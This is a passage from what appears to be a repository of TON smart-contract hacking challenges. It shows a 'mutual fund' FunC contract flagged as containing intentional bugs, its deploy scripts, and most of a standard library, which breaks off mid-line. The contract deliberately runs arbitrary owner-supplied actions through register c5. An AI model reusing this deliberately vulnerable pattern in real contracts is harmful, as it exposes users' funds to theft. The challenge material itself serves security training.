├── 1. mutual fund ├── README.md ├── build.sh ├── init.fif ├── mutual_funds.fc └── stdlib.func ├── 2. bank ├── README.md ├── bank.func ├── build.sh ├── init.fif └── stdlib.func ├── 3. dao ├── README.md ├── build.sh ├── dao.func ├── init.fif └── stdlib.func ├── 4. lottery ├── README.md ├── build.sh ├── init.fif ├── lottery.func └── stdlib.func ├── 5. wallet └── README.md ├── 6. vault ├── README.md ├── build.sh ├── common.func ├── database.func ├── init.fif ├── stdlib.func └── vault.func ├── 7. better_bank ├── README.md ├── better_bank.func ├── build.sh ├── init.fif └── stdlib.func ├── 8. dehasher ├── README.md ├── build.sh ├── dehasher.func ├── init.fif └── stdlib.func ├── README.md ├── Solutions from winners ├── 1. mutual fund ├── 2. bank ├── 3. dao ├── 4. lottery ├── 6. vault └── 8.dehasher └── Solutions ├── 1. mutual_fund.md ├── 2. bank.md ├── 3. dao.md ├── 4. lottery.md ├── 5. wallet.md ├── 6. vault.md ├── 7. better bank.md └── 8. dehasher.md /1. mutual fund/README.md: -------------------------------------------------------------------------------- 1 | # Mutual fund 2 | A simple contract allows each of the two owners to control the contract. 3 | 4 | Full control is achieved by giving an opportunity to set [c5 register](https://github.com/ton-blockchain/ton/blob/master/crypto/block/block.tlb#L373) thus allowing to send messages, update code and so on. 5 | 6 | # Address 7 | [EQBuOFgr-R0W6-guv3B1D2bkiqWu1o5YsUMqjgqVuI3V1ETo](https://tonscan.org/address/EQBuOFgr-R0W6-guv3B1D2bkiqWu1o5YsUMqjgqVuI3V1ETo) 8 | -------------------------------------------------------------------------------- /1. mutual fund/build.sh: -------------------------------------------------------------------------------- 1 | func -o mutual-funds-code.fif -SPA mutual_funds.fc 2 | -------------------------------------------------------------------------------- /1. mutual fund/init.fif: -------------------------------------------------------------------------------- 1 | #!/usr/bin/fift -s 2 | "TonUtil.fif" include 3 | "Asm.fif" include 4 | 5 | true =: bounce 6 | "EQCD39VS5jcptHL8vMjEXrzGaRcCVYto7HUn4bpAOg8xqB2N" bounce parse-load-address =: bounce 2=: addr_1 7 | "EQAhE3sLxHZpsyZ_HecMuwzvXHKLjYx4kEUehhOy2JmCcHCT" bounce parse-load-address =: bounce 2=: addr_2 8 | 9 | <{ 10 | SETCP0 ACCEPT 11 | "mutual-funds-code.fif" include PUSHREF SETCODE 12 | 0 PUSHINT 13 | }>s =: contract_code 14 | 15 | =: contract_storage 16 | 17 | ref, contract_storage ref, b> 18 | dup =: state_init 19 | 20 | dup hashu 0 swap 2constant contract_address 21 | ."new mutual-funds wallet address = " contract_address .addr cr 22 | 23 | ."Non-bounceable address (for init): " contract_address 7 .Addr cr 24 | ."Bounceable address (for later access): " contract_address 6 .Addr cr 25 | 26 | 28 | 2 boc+>B 29 | 30 | "query-init-mutual-funds.boc" tuck B>file 31 | ."(Saved mutual-funds contract creating query to file " type .")" cr 32 | -------------------------------------------------------------------------------- /1. mutual fund/mutual_funds.fc: -------------------------------------------------------------------------------- 1 | {- 2 | 3 | !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 4 | Contract contains intentional bugs, do not use in production 5 | 6 | -} 7 | 8 | 9 | #include "stdlib.func"; 10 | 11 | ;; storage#_ addr1:MsgAddress addr2:MsgAddress = Storage; 12 | 13 | () execute (cell) impure asm "c5 POPCTR"; 14 | 15 | global slice addr1; 16 | global slice addr2; 17 | 18 | () load_data () impure { 19 | slice ds = get_data().begin_parse(); 20 | addr1 = ds~load_msg_addr(); 21 | addr2 = ds~load_msg_addr(); 22 | } 23 | 24 | () authorize (sender) inline { 25 | throw_unless(187, equal_slice_bits(sender, addr1) | equal_slice_bits(sender, addr2)); 26 | } 27 | 28 | () recv_internal (in_msg_full, in_msg_body) { 29 | if (in_msg_body.slice_empty?()) { ;; ignore empty messages 30 | return (); 31 | } 32 | slice cs = in_msg_full.begin_parse(); 33 | int flags = cs~load_uint(4); 34 | 35 | if (flags & 1) { ;; ignore all bounced messages 36 | return (); 37 | } 38 | slice sender_address = cs~load_msg_addr(); 39 | 40 | load_data(); 41 | authorize(sender_address); 42 | 43 | cell request = in_msg_body~load_ref(); 44 | execute(request); 45 | } 46 | -------------------------------------------------------------------------------- /1. mutual fund/stdlib.func: -------------------------------------------------------------------------------- 1 | ;; Standard library for funC 2 | ;; 3 | 4 | {- 5 | # Tuple manipulation primitives 6 | The names and the types are mostly self-explaining. 7 | See [polymorhism with forall](https://ton.org/docs/#/func/functions?id=polymorphism-with-forall) 8 | for more info on the polymorphic functions. 9 | 10 | Note that currently values of atomic type `tuple` can't be cast to composite tuple type (e.g. `[int, cell]`) 11 | and vise versa. 12 | -} 13 | 14 | {- 15 | # Lisp-style lists 16 | 17 | Lists can be represented as nested 2-elements tuples. 18 | Empty list is conventionally represented as TVM `null` value (it can be obtained by calling [null()]). 19 | For example, tuple `(1, (2, (3, null)))` represents list `[1, 2, 3]`. Elements of a list can be of different types. 20 | -} 21 | 22 | ;;; Adds an element to the beginning of lisp-style list. 23 | forall X -> tuple cons(X head, tuple tail) asm "CONS"; 24 | 25 | ;;; Extracts the head and the tail of lisp-style list. 26 | forall X -> (X, tuple) uncons(tuple list) asm "UNCONS"; 27 | 28 | ;;; Extracts the tail and the head of lisp-style list. 29 | forall X -> (tuple, X) list_next(tuple list) asm( -> 1 0) "UNCONS"; 30 | 31 | ;;; Returns the head of lisp-style list. 32 | forall X -> X car(tuple list) asm "CAR"; 33 | 34 | ;;; Returns the tail of lisp-style list. 35 | tuple cdr(tuple list) asm "CDR"; 36 | 37 | ;;; Creates tuple with zero elements. 38 | tuple empty_tuple() asm "NIL"; 39 | 40 | ;;; Appends a value `x` to a `Tuple t = (x1, ..., xn)`, but only if the resulting `Tuple t' = (x1, ..., xn, x)` 41 | ;;; is of length at most 255. Otherwise throws a type check exception. 42 | forall X -> tuple tpush(tuple t, X value) asm "TPUSH"; 43 | forall X -> (tuple, ()) ~tpush(tuple t, X value) asm "TPUSH"; 44 | 45 | ;;; Creates a tuple of length one with given argument as element. 46 | forall X -> [X] single(X x) asm "SINGLE"; 47 | 48 | ;;; Unpacks a tuple of length one 49 | forall X -> X unsingle([X] t) asm "UNSINGLE"; 50 | 51 | ;;; Creates a tuple of length two with given arguments as elements. 52 | forall X, Y -> [X, Y] pair(X x, Y y) asm "PAIR"; 53 | 54 | ;;; Unpacks a tuple of length two 55 | forall X, Y -> (X, Y) unpair([X, Y] t) asm "UNPAIR"; 56 | 57 | ;;; Creates a tuple of length three with given arguments as elements. 58 | forall X, Y, Z -> [X, Y, Z] triple(X x, Y y, Z z) asm "TRIPLE"; 59 | 60 | ;;; Unpacks a tuple of length three 61 | forall X, Y, Z -> (X, Y, Z) untriple([X, Y, Z] t) asm "UNTRIPLE"; 62 | 63 | ;;; Creates a tuple of length four with given arguments as elements. 64 | forall X, Y, Z, W -> [X, Y, Z, W] tuple4(X x, Y y, Z z, W w) asm "4 TUPLE"; 65 | 66 | ;;; Unpacks a tuple of length four 67 | forall X, Y, Z, W -> (X, Y, Z, W) untuple4([X, Y, Z, W] t) asm "4 UNTUPLE"; 68 | 69 | ;;; Returns the first element of a tuple (with unknown element types). 70 | forall X -> X first(tuple t) asm "FIRST"; 71 | 72 | ;;; Returns the second element of a tuple (with unknown element types). 73 | forall X -> X second(tuple t) asm "SECOND"; 74 | 75 | ;;; Returns the third element of a tuple (with unknown element types). 76 | forall X -> X third(tuple t) asm "THIRD"; 77 | 78 | ;;; Returns the fourth element of a tuple (with unknown element types). 79 | forall X -> X fourth(tuple t) asm "3 INDEX"; 80 | 81 | ;;; Returns the first element of a pair tuple. 82 | forall X, Y -> X pair_first([X, Y] p) asm "FIRST"; 83 | 84 | ;;; Returns the second element of a pair tuple. 85 | forall X, Y -> Y pair_second([X, Y] p) asm "SECOND"; 86 | 87 | ;;; Returns the first element of a triple tuple. 88 | forall X, Y, Z -> X triple_first([X, Y, Z] p) asm "FIRST"; 89 | 90 | ;;; Returns the second element of a triple tuple. 91 | forall X, Y, Z -> Y triple_second([X, Y, Z] p) asm "SECOND"; 92 | 93 | ;;; Returns the third element of a triple tuple. 94 | forall X, Y, Z -> Z triple_third([X, Y, Z] p) asm "THIRD"; 95 | 96 | 97 | ;;; Push null element (casted to given type) 98 | ;;; By the TVM type `Null` FunC represents absence of a value of some atomic type. 99 | ;;; So `null` can actually have any atomic type. 100 | forall X -> X null() asm "PUSHNULL"; 101 | 102 | ;;; Moves a variable [x] to the top of the stack 103 | forall X -> (X, ()) ~impure_touch(X x) impure asm "NOP"; 104 | 105 | 106 | 107 | ;;; Returns the current Unix time as an Integer 108 | int now() asm "NOW"; 109 | 110 | ;;; Returns the internal address of the current smart contract as a Slice with a `MsgAddressInt`. 111 | ;;; If necessary, it can be parsed further using primitives such as [parse_std_addr]. 112 | slice my_address() asm "MYADDR"; 113 | 114 | ;;; Returns the balance of the smart contract as a tuple consisting of an int 115 | ;;; (balance in nanotoncoins) and a `cell` 116 | ;;; (a dictionary with 32-bit keys representing the balance of "extra currencies") 117 | ;;; at the start of Computation Phase. 118 | ;;; Note that RAW primitives such as [send_raw_message] do not update this field. 119 | [int, cell] get_balance() asm "BALANCE"; 120 | 121 | ;;; Returns the logical time of the current transaction. 122 | int cur_lt() asm "LTIME"; 123 | 124 | ;;; Returns the starting logical time of the current block. 125 | int block_lt() asm "BLOCKLT"; 126 | 127 | ;;; Computes the representation hash of a `cell` [c] and returns it as a 256-bit unsigned integer `x`. 128 | ;;; Useful for signing and checking signatures of arbitrary entities represented by a tree of cells. 129 | int cell_hash(cell c) asm "HASHCU"; 130 | 131 | ;;; Computes the hash of a `slice s` and returns it as a 256-bit unsigned integer `x`. 132 | ;;; The result is the same as if an ordinary cell containing only data and references from `s` had been created 133 | ;;; and its hash computed by [cell_hash]. 134 | int slice_hash(slice s) asm "HASHSU"; 135 | 136 | ;;; Computes sha256 of the data bits of `slice` [s]. If the bit length of `s` is not divisible by eight, 137 | ;;; throws a cell underflow exception. The hash value is returned as a 256-bit unsigned integer `x`. 138 | int string_hash(slice s) asm "SHA256U"; 139 | 140 | {- 141 | # Signature checks 142 | -} 143 | 144 | ;;; Checks the Ed25519-`signature` of a `hash` (a 256-bit unsigned integer, usually computed as the hash of some data) 145 | ;;; using [public_key] (also represented by a 256-bit unsigned integer). 146 | ;;; The signature must contain at least 512 data bits; only the first 512 bits are used. 147 | ;;; The result is `−1` if the signature is valid, `0` otherwise. 148 | ;;; Note that `CHKSIGNU` creates a 256-bit slice with the hash and calls `CHKSIGNS`. 149 | ;;; That is, if [hash] is computed as the hash of some data, these data are hashed twice, 150 | ;;; the second hashing occurring inside `CHKSIGNS`. 151 | int check_signature(int hash, slice signature, int public_key) asm "CHKSIGNU"; 152 | 153 | ;;; Checks whether [signature] is a valid Ed25519-signature of the data portion of `slice data` using `public_key`, 154 | ;;; similarly to [check_signature]. 155 | ;;; If the bit length of [data] is not divisible by eight, throws a cell underflow exception. 156 | ;;; The verification of Ed25519 signatures is the standard one, 157 | ;;; with sha256 used to reduce [data] to the 256-bit number that is actually signed. 158 | int check_data_signature(slice data, slice signature, int public_key) asm "CHKSIGNS"; 159 | 160 | {--- 161 | # Computation of boc size 162 | The primitives below may be useful for computing storage fees of user-provided data. 163 | -} 164 | 165 | ;;; Returns `(x, y, z, -1)` or `(null, null, null, 0)`. 166 | ;;; Recursively computes the count of distinct cells `x`, data bits `y`, and cell references `z` 167 | ;;; in the DAG rooted at `cell` [c], effectively returning the total storage used by this DAG taking into account 168 | ;;; the identification of equal cells. 169 | ;;; The values of `x`, `y`, and `z` are computed by a depth-first traversal of this DAG, 170 | ;;; with a hash table of visited cell hashes used to prevent visits of already-visited cells. 171 | ;;; The total count of visited cells `x` cannot exceed non-negative [max_cells]; 172 | ;;; otherwise the computation is aborted before visiting the `(max_cells + 1)`-st cell and 173 | ;;; a zero flag is returned to indicate failure. If [c] is `null`, returns `x = y = z = 0`. 174 | (int, int, int) compute_data_size(cell c, int max_cells) impure asm "CDATASIZE"; 175 | 176 | ;;; Similar to [compute_data_size?], but accepting a `slice` [s] instead of a `cell`. 177 | ;;; The returned value of `x` does not take into account the cell that contains the `slice` [s] itself; 178 | ;;; however, the data bits and the cell references of [s] are accounted for in `y` and `z`. 179 | (int, int, int) slice_compute_data_size(slice s, int max_cells) impure asm "SDATASIZE"; 180 | 181 | ;;; A non-quiet version of [compute_data_size?] that throws a cell overflow exception (`8`) on failure. 182 | (int, int, int, int) compute_data_size?(cell c, int max_cells) asm "CDATASIZEQ NULLSWAPIFNOT2 NULLSWAPIFNOT"; 183 | 184 | ;;; A non-quiet version of [slice_compute_data_size?] that throws a cell overflow exception (8) on failure. 185 | (int, int, int, int) slice_compute_data_size?(cell c, int max_cells) asm "SDATASIZEQ NULLSWAPIFNOT2 NULLSWAPIFNOT"; 186 | 187 | ;;; Throws an exception with exit_code excno if cond is not 0 (commented since implemented in compilator) 188 | ;; () throw_if(int excno, int cond) impure asm "THROWARGIF"; 189 | 190 | {-- 191 | # Debug primitives 192 | Only works for local TVM execution with debug level verbosity 193 | -} 194 | ;;; Dumps the stack (at most the top 255 values) and shows the total stack depth. 195 | () dump_stack() impure asm "DUMPSTK"; 196 | 197 | {- 198 | # Persistent storage save and load 199 | -} 200 | 201 | ;;; Returns the persistent contract storage cell. It can be parsed or modified with slice and builder primitives later. 202 | cell get_data() asm "c4 PUSH"; 203 | 204 | ;;; Sets `cell` [c] as persistent contract data. You can update persistent contract storage with this primitive. 205 | () set_data(cell c) impure asm "c4 POP"; 206 | 207 | {- 208 | # Continuation primitives 209 | -} 210 | ;;; Usually `c3` has a continuation initialized by the whole code of the contract. It is used for function calls. 211 | ;;; The primitive returns the current value of `c3`. 212 | cont get_c3() impure asm "c3 PUSH"; 213 | 214 | ;;; Updates the current value of `c3`. Usually, it is used for updating smart contract code in run-time. 215 | ;;; Note that after execution of this primitive the current code 216 | ;;; (and the stack of recursive function calls) won't change, 217 | ;;; but any other function call will use a function from the new code. 218 | () set_c3(cont c) impure asm "c3 POP"; 219 | 220 | ;;; Transforms a `slice` [s] into a simple ordinary continuation `c`, with `c.code = s` and an empty stack and savelist. 221 | cont bless(slice s) impure asm "BLESS"; 222 | 223 | {--- 224 | # Gas related primitives 225 | -} 226 | 227 | ;;; Sets current gas limit `gl` to its maximal allowed value `gm`, and resets the gas credit `gc` to zero, 228 | ;;; decreasing the value of `gr` by `gc` in the process. 229 | ;;; In other words, the current smart contract agrees to buy some gas to finish the current transaction. 230 | ;;; This action is required to process external messages, which bring no value (hence no gas) with themselves. 231 | ;;; 232 | ;;; For more details check [accept_message effects](https://ton.org/docs/#/smart-contracts/accept). 233 | () accept_message() impure asm "ACCEPT"; 234 | 235 | ;;; Sets current gas limit `gl` to the minimum of limit and `gm`, and resets the gas credit `gc` to zero. 236 | ;;; If the gas consumed so far (including the present instruction) exceeds the resulting value of `gl`, 237 | ;;; an (unhandled) out of gas exception is thrown before setting new gas limits. 238 | ;;; Notice that [set_gas_limit] with an argument `limit ≥ 2^63 − 1` is equivalent to [accept_message]. 239 | () set_gas_limit(int limit) impure asm "SETGASLIMIT"; 240 | 241 | ;;; Commits the current state of registers `c4` (“persistent data”) and `c5` (“actions”) 242 | ;;; so that the current execution is considered “successful” with the saved values even if an exception 243 | ;;; in Computation Phase is thrown later. 244 | () commit() impure asm "COMMIT"; 245 | 246 | ;;; Not implemented 247 | ;;() buy_gas(int gram) impure asm "BUYGAS"; 248 | 249 | ;;; Computes the amount of gas that can be bought for `amount` nanoTONs, 250 | ;;; and sets `gl` accordingly in the same way as [set_gas_limit]. 251 | () buy_gas(int amount) impure asm "BUYGAS"; 252 | 253 | ;;; Computes the minimum of two integers [x] and [y]. 254 | int min(int x, int y) asm "MIN"; 255 | 256 | ;;; Computes the maximum of two integers [x] and [y]. 257 | int max(int x, int y) asm "MAX"; 258 | 259 | ;;; Sorts two integers. 260 | (int, int) minmax(int x, int y) asm "MINMAX"; 261 | 262 | ;;; Computes the absolute value of an integer [x]. 263 | int abs(int x) asm "ABS"; 264 | 265 | {- 266 | # Slice primitives 267 | 268 | It is said that a primitive _loads_ some data, 269 | if it returns the data and the remainder of the slice 270 | (so it can also be used as [modifying method](https://ton.org/docs/#/func/statements?id=modifying-methods)). 271 | 272 | It is said that a primitive _preloads_ some data, if it returns only the data 273 | (it can be used as [non-modifying method](https://ton.org/docs/#/func/statements?id=non-modifying-methods)). 274 | 275 | Unless otherwise stated, loading and preloading primitives read the data from a prefix of the slice. 276 | -} 277 | 278 | 279 | ;;; Converts a `cell` [c] into a `slice`. Notice that [c] must be either an ordinary cell, 280 | ;;; or an exotic cell (see [TVM.pdf](https://ton-blockchain.github.io/docs/tvm.pdf), 3.1.2) 281 | ;;; which is automatically loaded to yield an ordinary cell `c'`, converted into a `slice` afterwards. 282 | slice begin_parse(cell c) asm "CTOS"; 283 | 284 | ;;; Checks if [s] is empty. If not, throws an exception. 285 | () end_parse(slice s) impure asm "ENDS"; 286 | 287 | ;;; Loads the first reference from the slice. 288 | (slice, cell) load_ref(slice s) asm( -> 1 0) "LDREF"; 289 | 290 | ;;; Preloads the first reference from the slice. 291 | cell preload_ref(slice s) asm "PLDREF"; 292 | 293 | {- Functions below are commented because are implemented on compilator level for optimisation -} 294 | 295 | ;;; Loads a signed [len]-bit integer from a slice [s]. 296 | ;; (slice, int) ~load_int(slice s, int len) asm(s len -> 1 0) "LDIX"; 297 | 298 | ;;; Loads an unsigned [len]-bit integer from a slice [s]. 299 | ;; (slice, int) ~load_uint(slice s, int len) asm( -> 1 0) "LDUX"; 300 | 301 | ;;; Preloads a signed [len]-bit integer from a slice [s]. 302 | ;; int preload_int(slice s, int len) asm "PLDIX"; 303 | 304 | ;;; Preloads an unsigned [len]-bit integer from a slice [s]. 305 | ;; int preload_uint(slice s, int len) asm "PLDUX"; 306 | 307 | ;;; Loads the first `0 ≤ len ≤ 1023` bits from slice [s] into a separate `slice s''`. 308 | ;; (slice, slice) load_bits(slice s, int len) asm(s len -> 1 0) "LDSLICEX"; 309 | 310 | ;;; Preloads the first `0 ≤ len ≤ 1023` bits from slice [s] into a separate `slice s''`. 311 | ;; slice preload_bits(slice s, int len) asm "PLDSLICEX"; 312 | 313 | ;;; Loads serialized amount of TonCoins (any unsigned integer up to `2^128 - 1`). 314 | (slice, int) load_grams(slice s) asm( -> 1 0) "LDGRAMS"; 315 | (slice, int) load_coins(slice s) asm( -> 1 0) "LDGRAMS"; 316 | 317 | ;;; Returns all but the first `0 ≤ len ≤ 1023` bits of `slice` [s]. 318 | slice skip_bits(slice s, int len) asm "SDSKIPFIRST"; 319 | (slice, ()) ~skip_bits(slice s, int len) asm "SDSKIPFIRST"; 320 | 321 | ;;; Returns the first `0 ≤ len ≤ 1023` bits of `slice` [s]. 322 | slice first_bits(slice s, int len) asm "SDCUTFIRST"; 323 | 324 | ;;; Returns all but the last `0 ≤ len ≤ 1023` bits of `slice` [s]. 325 | slice skip_last_bits(slice s, int len) asm "SDSKIPLAST"; 326 | (slice, ()) ~skip_last_bits(slice s, int len) asm "SDSKIPLAST"; 327 | 328 | ;;; Returns the last `0 ≤ len ≤ 1023` bits of `slice` [s]. 329 | slice slice_last(slice s, int len) asm "SDCUTLAST"; 330 | 331 | ;;; Loads a dictionary `D` (HashMapE) from `slice` [s]. 332 | ;;; (returns `null` if `nothing` constructor is used). 333 | (slice, cell) load_dict(slice s) asm( -> 1 0) "LDDICT"; 334 | 335 | ;;; Preloads a dictionary `D` from `slice` [s]. 336 | cell preload_dict(slice s) asm "PLDDICT"; 337 | 338 | ;;; Loads a dictionary as [load_dict], but returns only the remainder of the slice. 339 | slice skip_dict(slice s) asm "SKIPDICT"; 340 | 341 | ;;; Loads (Maybe ^Cell) from `slice` [s]. 342 | ;;; In other words loads 1 bit and if it is true 343 | ;;; loads first ref and return it with slice remainder 344 | ;;; otherwise returns `null` and slice remainder 345 | (slice, cell) load_maybe_ref(slice s) asm( -> 1 0) "LDOPTREF"; 346 | 347 | ;;; Preloads (Maybe ^Cell) from `slice` [s]. 348 | cell preload_maybe_ref(slice s) asm "PLDOPTREF"; 349 | 350 | 351 | ;;; Returns the depth of `cell` [c]. 352 | ;;; If [c] has no references, then return `0`; 353 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [c]. 354 | ;;; If [c] is a `null` instead of a cell, returns zero. 355 | int cell_depth(cell c) asm "CDEPTH"; 356 | 357 | 358 | {- 359 | # Slice size primitives 360 | -} 361 | 362 | ;;; Returns the number of references in `slice` [s]. 363 | int slice_refs(slice s) asm "SREFS"; 364 | 365 | ;;; Returns the number of data bits in `slice` [s]. 366 | int slice_bits(slice s) asm "SBITS"; 367 | 368 | ;;; Returns both the number of data bits and the number of references in `slice` [s]. 369 | (int, int) slice_bits_refs(slice s) asm "SBITREFS"; 370 | 371 | ;;; Checks whether a `slice` [s] is empty (i.e., contains no bits of data and no cell references). 372 | int slice_empty?(slice s) asm "SEMPTY"; 373 | 374 | ;;; Checks whether `slice` [s] has no bits of data. 375 | int slice_data_empty?(slice s) asm "SDEMPTY"; 376 | 377 | ;;; Checks whether `slice` [s] has no references. 378 | int slice_refs_empty?(slice s) asm "SREMPTY"; 379 | 380 | ;;; Returns the depth of `slice` [s]. 381 | ;;; If [s] has no references, then returns `0`; 382 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [s]. 383 | int slice_depth(slice s) asm "SDEPTH"; 384 | 385 | {- 386 | # Builder size primitives 387 | -} 388 | 389 | ;;; Returns the number of cell references already stored in `builder` [b] 390 | int builder_refs(builder b) asm "BREFS"; 391 | 392 | ;;; Returns the number of data bits already stored in `builder` [b]. 393 | int builder_bits(builder b) asm "BBITS"; 394 | 395 | ;;; Returns the depth of `builder` [b]. 396 | ;;; If no cell references are stored in [b], then returns 0; 397 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [b]. 398 | int builder_depth(builder b) asm "BDEPTH"; 399 | 400 | {- 401 | # Builder primitives 402 | It is said that a primitive _stores_ a value `x` into a builder `b` 403 | if it returns a modified version of the builder `b'` with the value `x` stored at the end of it. 404 | It can be used as [non-modifying method](https://ton.org/docs/#/func/statements?id=non-modifying-methods). 405 | 406 | All the primitives below first check whether there is enough space in the `builder`, 407 | and only then check the range of the value being serialized. 408 | -} 409 | 410 | ;;; Creates a new empty `builder`. 411 | builder begin_cell() asm "NEWC"; 412 | 413 | ;;; Converts a `builder` into an ordinary `cell`. 414 | cell end_cell(builder b) asm "ENDC"; 415 | 416 | ;;; Stores a reference to `cell` [c] into `builder` [b]. 417 | builder store_ref(builder b, cell c) asm(c b) "STREF"; 418 | 419 | ;;; Stores an unsigned [len]-bit integer `x` into `b` for `0 ≤ len ≤ 256`. 420 | ;; builder store_uint(builder b, int x, int len) asm(x b len) "STUX"; 421 | 422 | ;;; Stores a signed [len]-bit integer `x` into `b` for` 0 ≤ len ≤ 257`. 423 | ;; builder store_int(builder b, int x, int len) asm(x b len) "STIX"; 424 | 425 | 426 | ;;; Stores `slice` [s] into `builder` [b] 427 | builder store_slice(builder b, slice s) asm "STSLICER"; 428 | 429 | ;;; Stores (serializes) an integer [x] in the range `0..2^128 − 1` into `builder` [b]. 430 | ;;; The serialization of [x] consists of a 4-bit unsigned big-endian integer `l`, 431 | ;;; which is the smallest integer `l ≥ 0`, such that `x < 2^8l`, 432 | ;;; followed by an `8l`-bit unsigned big-endian representation of [x]. 433 | ;;; If [x] does not belong to the supported range, a range check exception is thrown. 434 | ;;; 435 | ;;; Store amounts of TonCoins to the builder as VarUInteger 16 436 | builder store_grams(builder b, int x) asm "STGRAMS"; 437 | builder store_coins(builder b, int x) asm "STGRAMS"; 438 | 439 | ;;; Stores dictionary `D` represented by `cell` [c] or `null` into `builder` [b]. 440 | ;;; In other words, stores a `1`-bit and a reference to [c] if [c] is not `null` and `0`-bit otherwise. 441 | builder store_dict(builder b, cell c) asm(c b) "STDICT"; 442 | 443 | ;;; Stores (Maybe ^Cell) to builder: 444 | ;;; if cell is null store 1 zero bit 445 | ;;; otherwise store 1 true bit and ref to cell 446 | builder store_maybe_ref(builder b, cell c) asm(c b) "STOPTREF"; 447 | 448 | 449 | {- 450 | # Address manipulation primitives 451 | The address manipulation primitives listed below serialize and deserialize values according to the following TL-B scheme: 452 | ```TL-B 453 | addr_none$00 = MsgAddressExt; 454 | addr_extern$01 len:(## 8) external_address:(bits len) 455 | = MsgAddressExt; 456 | anycast_info$_ depth:(#<= 30) { depth >= 1 } 457 | rewrite_pfx:(bits depth) = Anycast; 458 | addr_std$10 anycast:(Maybe Anycast) 459 | workchain_id:int8 address:bits256 = MsgAddressInt; 460 | addr_var$11 anycast:(Maybe Anycast) addr_len:(## 9) 461 | workchain_id:int32 address:(bits addr_len) = MsgAddressInt; 462 | _ _:MsgAddressInt = MsgAddress; 463 | _ _:MsgAddressExt = MsgAddress; 464 | 465 | int_msg_info$0 ihr_disabled:Bool bounce:Bool bounced:Bool 466 | src:MsgAddress dest:MsgAddressInt 467 | value:CurrencyCollection ihr_fee:Grams fwd_fee:Grams 468 | created_lt:uint64 created_at:uint32 = CommonMsgInfoRelaxed; 469 | ext_out_msg_info$11 src:MsgAddress dest:MsgAddressExt 470 | created_lt:uint64 created_at:uint32 = CommonMsgInfoRelaxed; 471 | ``` 472 | A deserialized `MsgAddress` is represented by a tuple `t` as follows: 473 | 474 | - `addr_none` is represented by `t = (0)`, 475 | i.e., a tuple containing exactly one integer equal to zero. 476 | - `addr_extern` is represented by `t = (1, s)`, 477 | where slice `s` contains the field `external_address`. In other words, ` 478 | t` is a pair (a tuple consisting of two entries), containing an integer equal to one and slice `s`. 479 | - `addr_std` is represented by `t = (2, u, x, s)`, 480 | where `u` is either a `null` (if `anycast` is absent) or a slice `s'` containing `rewrite_pfx` (if anycast is present). 481 | Next, integer `x` is the `workchain_id`, and slice `s` contains the address. 482 | - `addr_var` is represented by `t = (3, u, x, s)`, 483 | where `u`, `x`, and `s` have the same meaning as for `addr_std`. 484 | -} 485 | 486 | ;;; Loads from slice [s] the only prefix that is a valid `MsgAddress`, 487 | ;;; and returns both this prefix `s'` and the remainder `s''` of [s] as slices. 488 | (slice, slice) load_msg_addr(slice s) asm( -> 1 0) "LDMSGADDR"; 489 | 490 | ;;; Decomposes slice [s] containing a valid `MsgAddress` into a `tuple t` with separate fields of this `MsgAddress`. 491 | ;;; If [s] is not a valid `MsgAddress`, a cell deserialization exception is thrown. 492 | tuple parse_addr(slice s) asm "PARSEMSGADDR"; 493 | 494 | ;;; Parses slice [s] containing a valid `MsgAddressInt` (usually a `msg_addr_std`), 495 | ;;; applies rewriting from the anycast (if present) to the same-length prefix of the address, 496 | ;;; and returns both the workchain and the 256-bit address as integers. 497 | ;;; If the address is not 256-bit, or if [s] is not a valid serialization of `MsgAddressInt`, 498 | ;;; throws a cell deserialization exception. 499 | (int, int) parse_std_addr(slice s) asm "REWRITESTDADDR"; 500 | 501 | ;;; A variant of [parse_std_addr] that returns the (rewritten) address as a slice [s], 502 | ;;; even if it is not exactly 256 bit long (represented by a `msg_addr_var`). 503 | (int, slice) parse_var_addr(slice s) asm "REWRITEVARADDR"; 504 | 505 | {- 506 | # Dictionary primitives 507 | -} 508 | 509 | 510 | ;;; Sets the value associated with [key_len]-bit key signed index in dictionary [dict] to [value] (cell), 511 | ;;; and returns the resulting dictionary. 512 | cell idict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETREF"; 513 | (cell, ()) ~idict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETREF"; 514 | 515 | ;;; Sets the value associated with [key_len]-bit key unsigned index in dictionary [dict] to [value] (cell), 516 | ;;; and returns the resulting dictionary. 517 | cell udict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETREF"; 518 | (cell, ()) ~udict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETREF"; 519 | 520 | cell idict_get_ref(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGETOPTREF"; 521 | (cell, int) idict_get_ref?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGETREF" "NULLSWAPIFNOT"; 522 | (cell, int) udict_get_ref?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUGETREF" "NULLSWAPIFNOT"; 523 | (cell, cell) idict_set_get_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETGETOPTREF"; 524 | (cell, cell) udict_set_get_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETGETOPTREF"; 525 | (cell, int) idict_delete?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDEL"; 526 | (cell, int) udict_delete?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDEL"; 527 | (slice, int) idict_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGET" "NULLSWAPIFNOT"; 528 | (slice, int) udict_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUGET" "NULLSWAPIFNOT"; 529 | (cell, slice, int) idict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDELGET" "NULLSWAPIFNOT"; 530 | (cell, slice, int) udict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDELGET" "NULLSWAPIFNOT"; 531 | (cell, (slice, int)) ~idict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDELGET" "NULLSWAPIFNOT"; 532 | (cell, (slice, int)) ~udict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDELGET" "NULLSWAPIFNOT"; 533 | cell udict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) 